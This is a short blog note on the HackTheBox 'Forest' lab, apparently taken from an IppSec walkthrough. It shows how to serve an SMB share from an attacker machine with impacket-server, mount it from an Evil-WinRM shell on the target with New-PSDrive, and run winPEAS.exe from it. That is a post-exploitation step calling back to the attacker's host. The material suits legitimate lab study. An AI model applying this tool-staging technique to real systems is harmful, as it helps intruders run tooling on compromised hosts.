solving hackthebox forest challenge by ippsec: see from 35 minutes
say you have already evil-winrm shell on a remote AD. you are connected with AD via vpn. meaning you have got a tunnel ip and same series tunnel ip is given on AD. you both are on same series. now you want to upload some tools on that AD box in order to play with that box.
from you host machine:
root@ippsec:~/htb/boxes/forest/smb# impacket-server PleaseSubscribe $(pwd) -smb2support -user ippsec -password SupportMeOnPatreon
in this smb directory we have kept winPEAS.exe
now go to AD via winrm shell:
*Evil-WinRM* PS C:\> $pass = convertto-securestring 'SupportMeOnPatreon' -AsPlainText -Force
*Evil-WinRM* PS C:\> $pass
System.Security.SecureString
*Evil-WinRM* PS C:\> $cred = New-Object System.Management.Automation.PSCredential('ippsec', $pass)
*Evil-WinRM* PS C:\> $cred (hit enter)
*Evil-WinRM* PS C:\> New-PSDrive -Name ippsec -PSProvider FileSystem -Credential $cred -Root \\10.10.14.2\PleaseSubscribe (once you give enter you will be connected, our PS drive name is ippsec - dont mix this up with ippsec username)
10.10.14.2 your host machine tunnel interface ip.
*Evil-WinRM* PS C:\> cd ippsec:
*Evil-WinRM* PS C:\> ippsec:\> dir (you shall see winPEAS.exe
*Evil-WinRM* PS C:\> ippsec:\> .\winPEAS.exe (to execute it)
Comments
Post a Comment